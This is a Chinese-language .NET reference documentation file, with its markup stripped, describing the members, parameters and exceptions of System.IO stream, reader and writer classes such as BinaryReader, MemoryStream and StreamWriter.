包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字节数组可能小于所请求的字节数。 + 要读取的字节数。此值必须为 0 或非负数字，否则将出现异常。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 发生 I/O 错误。 + 流已关闭。 + + 为负数。 + 2 + + + 从当前流中读取下一个字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 从当前流中读取的字符。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 读取了一个代理项字符。 + 2 + + + 从当前流中读取指定的字符数，并以字符数组的形式返回数据，然后根据所使用的 Encoding 和从流中读取的特定字符，将当前位置前移。 + 包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字符数组可能小于所请求的字符数。 + 要读取的字符数。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 流已关闭。 + 发生 I/O 错误。 + + 为负数。 + 2 + + + 从当前流中读取十进制数值，并将该流的当前位置提升十六个字节。 + 从当前流中读取的十进制数值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节浮点值，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 2 字节有符号整数，并使流的当前位置提升 2 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节有符号整数，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节有符号整数，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从此流中读取 1 个有符号字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的一个有符号字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节浮点值，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 4 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取一个字符串。字符串有长度前缀，一次 7 位地被编码为整数。 + 正被读取的字符串。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 使用 Little-Endian 编码从当前流中读取 2 字节无符号整数，并将流的位置提升 2 个字节。 + 从该流中读取的 2 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节无符号整数并使流的当前位置提升 4 个字节。 + 从该流中读取的 4 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节无符号整数并使流的当前位置提升 8 个字节。 + 从该流中读取的 8 字节无符号整数。 + 已到达流的末尾。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 以二进制形式将基元类型写入流，并支持用特定的编码写入字符串。 + 2 + + + 初始化向流中写入的 类的新实例。 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输出流。 + 该流不支持写入或者该流已关闭。 + + 为 null。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输出流。 + 要使用的字符编码。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 类的新实例，有选择性的打开流。 + 输出流。 + 要使用的字符编码。 + 如果在释放 对象之后打开流对象，则为 true；否则为， false。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 获取 的基础流。 + 与 BinaryWriter 关联的基础流。 + 1 + + + 释放由 类的当前实例占用的所有资源。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 指定无后备存储区的 。 + 1 + + + 持有基础流。 + + + 设置当前流中的位置。 + 包含当前流的位置。 + 相对于 的字节偏移量。 + + 的一个字段，指示获取新位置所依据的参考点。 + 文件指针被移到无效位置。 + + 值无效。 + 1 + + + 将单字节 Boolean 值写入当前流，其中 0 表示 false，1 表示 true。 + 要写入的 Boolean 值（0 或 1）。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个无符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的无符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将字节数组写入基础流。 + 包含要写入的数据的字节数组。 + 发生 I/O 错误。 + 流已关闭。 + + 为 null。 + 1 + + + 将字节数组部分写入当前流。 + 包含要写入的数据的字节数组。 + + 中开始写入的起始点。 + 要写入的字节数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 Unicode 字符写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 要写入的非代理项 Unicode 字符。 + 发生 I/O 错误。 + 流已关闭。 + + 是单一代理项字符。 + 1 + + + 将字符数组写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 为 null。 + 流已关闭。 + 发生 I/O 错误。 + 1 + + + 将字符数组部分写入当前流，并根据所使用的 Encoding（可能还根据向流中写入的特定字符），提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 中开始写入的起始点。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个十进制值写入当前流，并将流位置提升十六个字节。 + 要写入的十进制值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节浮点值写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 2 字节有符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节有符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节有符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个有符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的有符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节浮点值写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将有长度前缀的字符串按 的当前编码写入此流，并根据所使用的编码和写入流的特定字符，提升流的当前位置。 + 要写入的值。 + 发生 I/O 错误。 + + 为 null。 + 流已关闭。 + 1 + + + 将 2 字节无符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节无符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节无符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 以压缩格式写出 32 位整数。 + 要写出的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 流已关闭。 + + + 读操作试图超出流的末尾时引发的异常。 + 2 + + + 初始化 类的新实例，将其消息字符串设置为系统提供的消息，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + + + 初始化 类的新实例，使其消息字符串设置为 ，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + + + 使用指定错误信息和对作为此异常原因的内部异常的引用来初始化 类的新实例。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 在数据流的格式无效时引发的异常。 + + + 初始化 类的新实例。 + + + 使用指定的错误消息初始化 类的新实例。 + 解释异常原因的错误信息。 + + + 用对作为此异常原因的内部异常的引用初始化 类的新实例。 + 解释异常原因的错误信息。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 创建一个流，其后备存储为内存。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化为零的可扩展容量初始化 类的新实例。 + + + 基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建当前流的无符号字节数组。 + + 为 null。 + + + 在 属性按指定设置的状态下，基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + + 基于字节数组的指定区域（索引）初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 为 null。 + + 或 小于零。 + 缓冲区长度减去 小于 。 + + + 在 属性按指定设置的状态下，基于字节数组的指定区域，初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 在 属性和调用 的能力按指定设置的状态下，基于字节数组的指定区域初始化 类的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + 设置为 true 可以启用 ，它返回无符号字节数组，流从该数组创建；否则为 false。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 使用按指定要求初始化的可扩展容量初始化 类的新实例。 + 内部数组的初始大小（以字节为单位）。 + + 为负数。 + + + 获取一个值，该值指示当前流是否支持读取。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持查找。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持写入。 + 如果流支持写入，则为 true；否则为 false。 + 2 + + + 获取或设置分配给该流的字节数。 + 流的缓冲区的可使用部分的长度。 + 容量设置为负或小于流的当前长度。 + 当前流已关闭。 + 对不能修改其容量的流调用 set。 + 2 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取所有字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。 + 要监视取消请求的标记。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 重写 方法以便不执行任何操作。 + 2 + + + 异步清除此流的所有缓冲区，并监视取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。 + 流已被释放。 + + + 获取流的长度（以字节为单位）。 + 流的长度（以字节为单位）。 + 流已关闭。 + 2 + + + 获取或设置流中的当前位置。 + 流中的当前位置。 + 此位置设置为负值或大于 的值。 + 流已关闭。 + 2 + + + 从当前流中读取字节块并将数据写入缓冲区。 + 写入缓冲区中的总字节数。如果字节数当前不可用，则总字节数可能小于所请求的字节数；如果在读取到任何字节前已到达流结尾，则为零。 + 当此方法返回时，包含指定的字节数组，该数组中从 到 ( + -1) 之间的值由从当前流中读取的字符替换。 + + 中的从零开始的字节偏移量，从此处开始存储当前流中的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 的结果小于 。 + 当前流实例已关闭。 + 2 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流中读取一个字节。 + 强制转换为 的字节；或者如果已到达流的末尾，则为 -1。 + 当前流实例已关闭。 + 2 + + + 将当前流中的位置设置为指定值。 + 流内的新位置，通过将初始引用点和偏移量合并计算而得。 + 流内的新位置。它是相对于 参数的位置，而且可正可负。 + 类型 的值，它用作查找引用点。 + 试图在流的开始位置之前查找。 + + 大于 。 + + 无效。- 或 - 导致算法溢出。 + 当前流实例已关闭。 + 2 + + + 将当前流的长度设为指定值。 + 用于设置长度的值。 + 当前流无法调整大小，而且 大于当前容量。- 或 - 当前流不支持写入。 + + 为负或者大于 的最大长度，其中最大长度为 (- origin)，origin 为基础缓冲区中作为流的起点的索引。 + 2 + + + 将流内容写入字节数组，而与 属性无关。 + 新的字节数组。 + 2 + + + 返回从中创建此流的无符号字节的数组。用于指示转换是否成功的返回值。 + 如果转换成功，则为 true；否则为 false。 + 用于创建此流的字节数组段。 + + + 使用从缓冲区读取的数据将字节块写入当前流。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 最多写入的字节数。 + + 为 null。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置到流结尾的距离小于 字节，并且无法修改容量。 + 缓冲区长度减去 的结果小于 。 + + 或 为负。 + 发生 I/O 错误。 + 当前流实例已关闭。 + 2 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入当前位置上的当前流。 + 要写入的字节。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置位于流的末尾，而且容量不能被修改。 + 当前流已关闭。 + 2 + + + 将此内存流的整个内容写入到另一个流中。 + 要写入此内存流的流。 + + 为 null。 + 当前流或目标流已关闭。 + 2 + + + 指定在流的位置以查找使用。 + 2 + + + 指定流的开头。 + + + 指定流内的当前位置。 + + + 指定流的结尾。 + + + 提供字节序列的一般视图。这是一个抽象类。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 类的新实例。 + + + 当在派生类中重写时，获取指示当前流是否支持读取的值。 + 如果流支持读取，为 true；否则为 false。 + 1 + + + 当在派生类中重写时，获取指示当前流是否支持查找功能的值。 + 如果流支持查找，为 true；否则为 false。 + 1 + + + 获取一个值，该值确定当前流是否可以超时。 + 一个确定当前流是否可以超时的值。 + 2 + + + 当在派生类中重写时，获取指示当前流是否支持写入功能的值。 + 如果流支持写入，则为 true；否则为 false。 + 1 + + + 从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 使用指定的缓冲区大小，从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + 缓冲区的大小。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小，从当前流中异步读取字节并将其写入到另一流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放由 使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，将清除该流的所有缓冲区，并使得所有缓冲数据被写入到基础设备。 + 发生 I/O 错误。 + 2 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 异步清理这个流的所有缓冲区，并使所有缓冲数据写入基础设备，并且监控取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。默认值为 。 + 流已被释放。 + + + 当在派生类中重写时，获取流长度（以字节为单位）。 + 表示流长度（以字节为单位）的长值。 + 从 Stream 派生的类不支持查找。 + 在流关闭后调用方法。 + 1 + + + 无后备存储区的 Stream。 + 1 + + + 当在派生类中重写时，获取或设置当前流中的位置。 + 流中的当前位置。 + 发生 I/O 错误。 + 流不支持查找。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，从当前流读取字节序列，并将此流中的位置提升读取的字节数。 + 读入缓冲区中的总字节数。如果很多字节当前不可用，则总字节数可能小于请求的字节数；如果已到达流结尾，则为零 (0)。 + 字节数组。此方法返回时，该缓冲区包含指定的字符数组，该数组的 和 ( + -1) 之间的值由从当前源中读取的字节替换。 + + 中的从零开始的字节偏移量，从此处开始存储从当前流中读取的数据。 + 要从当前流中最多读取的字节数。 + + 与 的和大于缓冲区长度。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流不支持读取。 + 在流关闭后调用方法。 + 1 + + + 从当前流异步读取字节序列，并将流中的位置提升读取的字节数。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从流中读取一个字节，并将流内的位置向前提升一个字节，或者如果已到达流结尾，则返回 -1。 + 强制转换为 Int32 的无符号字节，如果到达流的末尾，则为 -1。 + 流不支持读取。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试读取多长时间。 + 一个确定流在超时前尝试读取多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 当在派生类中重写时，设置当前流中的位置。 + 当前流中的新位置。 + 相对于 参数的字节偏移量。 + + 类型的值，指示用于获取新位置的参考点。 + 发生 I/O 错误。 + 流不支持查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，设置当前流的长度。 + 所需的当前流的长度（以字节表示）。 + 发生 I/O 错误。 + 流不支持写入和查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 2 + + + 当在派生类中重写时，向当前流中写入字节序列，并将此流中的当前位置提升写入的字节数。 + 字节数组。此方法将 个字节从 复制到当前流。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 要写入当前流的字节数。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 流不支持写入。 + + 流关闭后调用。 + 1 + + + 将字节序列异步写入当前流，并将流的当前位置提升写入的字节数。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入流内的当前位置，并将流内的位置向前提升一个字节。 + 要写入流中的字节。 + 发生 I/O 错误。 + 该流不支持写入，或者该流已关闭。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试写入多长时间。 + 一个确定流在超时前尝试写入多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 实现一个 ，使其以一种特定的编码从字节流中读取字符。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 为指定的流初始化 类的新实例。 + 要读取的流。 + + 不支持读取。 + + 为 null。 + + + 用指定的字节顺序标记检测选项，为指定的流初始化 类的一个新实例。 + 要读取的流。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 为 null。 + + + 用指定的字符编码为指定的流初始化 类的一个新实例。 + 要读取的流。 + 要使用的字符编码。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码和字节顺序标记检测选项。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + 最小缓冲区大小。 + 流不支持读取。 + + 或 为 null。 + + 小于或等于零。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小，有选择性的打开流。 + 要读取的流。 + 要使用的字符编码。 + 如果要在文件开头查找字节顺序标记，则为 true；否则为 false。 + 最小缓冲区大小。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + + + 返回基础流。 + 基础流。 + 2 + + + 获取当前 对象正在使用的当前字符编码。 + 当前读取器所使用的当前字符编码。第一次调用 的任何 方法后，该值可能会不同，因为直到第一次调用 方法时，才会进行编码的自动检测。 + 2 + + + 清除内部缓冲区。 + 2 + + + 关闭基础流，释放 使用的未托管资源，同时还可以根据需要释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 获取一个值，该值指示当前的流位置是否在流结尾。 + 如果当前流位置位于流的末尾，则为 true；否则为 false。 + 基础流已释放。 + 1 + + + 空流周围的 。 + 1 + + + 返回下一个可用字符，但不使用它。 + 为表示下一个要读取的字符的整数，或者，如果没有要读取的字符或该流不支持查找，则为 -1。 + 发生 I/O 错误。 + 1 + + + 读取输入流中的下一个字符并使该字符位置提升一个字符。 + 输入流中表示为 对象的下一个字符。如果不再有可用的字符，则为 -1。 + 发生 I/O 错误。 + 1 + + + 从指定的索引位置开始将来自当前流的指定的最多字符读到缓冲区。 + 已读取的字符数，或者如果已到达流结尾并且未读取任何数据，则为 0。该数小于或等于 参数，具体取决于流中是否有可用的数据。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 开始写入的 的索引。 + 要读取的最大字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 出现 I/O 错误，如流被关闭。 + 1 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入缓冲区之前已到达流结尾，则将返回当前方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取指定的最大字符数并从指定的索引位置开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，取决于是否所有的输入字符都已读取。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生了 I/O 错误。 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入到缓冲区之前就已经达到流结尾，则将返回此方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取一行字符并将数据作为字符串返回。 + 输入流中的下一行；如果到达了输入流的末尾，则为 null。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 从当前流中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自流的下一行；如果读取了所有字符，则为 null。 + 下一行中的字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取来自流的当前位置到结尾的所有字符。 + 字符串形式的流的其余部分（从当前位置到结尾）。如果当前位置位于流结尾，则返回空字符串 (“”)。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 异步读取来自流的当前位置到结尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括带有从流的当前位置到结尾的字符的字符串。 + 字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个 ，使其以一种特定的编码向流中写入字符。若要浏览此类型的.NET Framework 源代码，请参阅参考源。 + 1 + + + 用 UTF-8 编码及默认缓冲区大小，为指定的流初始化 类的一个新实例。 + 要写入的流。 + + 不可写。 + + 为 null。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + + 或 为 null。 + + 不可写。 + + + 用指定的编码及缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例，有选择性的打开流。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + true to leave the stream open after the object is disposed; otherwise, false. + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 获取或设置一个值，该值指示 是否在每次调用 之后，将其缓冲区刷新到基础流。 + 强制 刷新其缓冲区时，为 true；否则，为 false。 + 1 + + + 获取同后备存储连接的基础流。 + 此 StreamWriter 正在写入的基础流。 + 2 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + 当前编码不支持显示半个 Unicode 代理项对。 + + + 获取将输出写入到其中的 。 + 在当前实例的构造函数中指定的 ；或者如果未指定编码，则为 。 + 2 + + + 清理当前写入器的所有缓冲区，并使所有缓冲数据写入基础流。 + 当前编写器已关闭。 + 出现 I/O 错误。 + 当前编码不支持显示半个 Unicode 代理项对。 + 1 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 提供 StreamWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将字符写入流。 + 要写入流中的字符。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符数组写入流。 + 包含要写入的数据的字符数组。如果 为 null，则不写入任何内容。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符的子数组写入流。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + 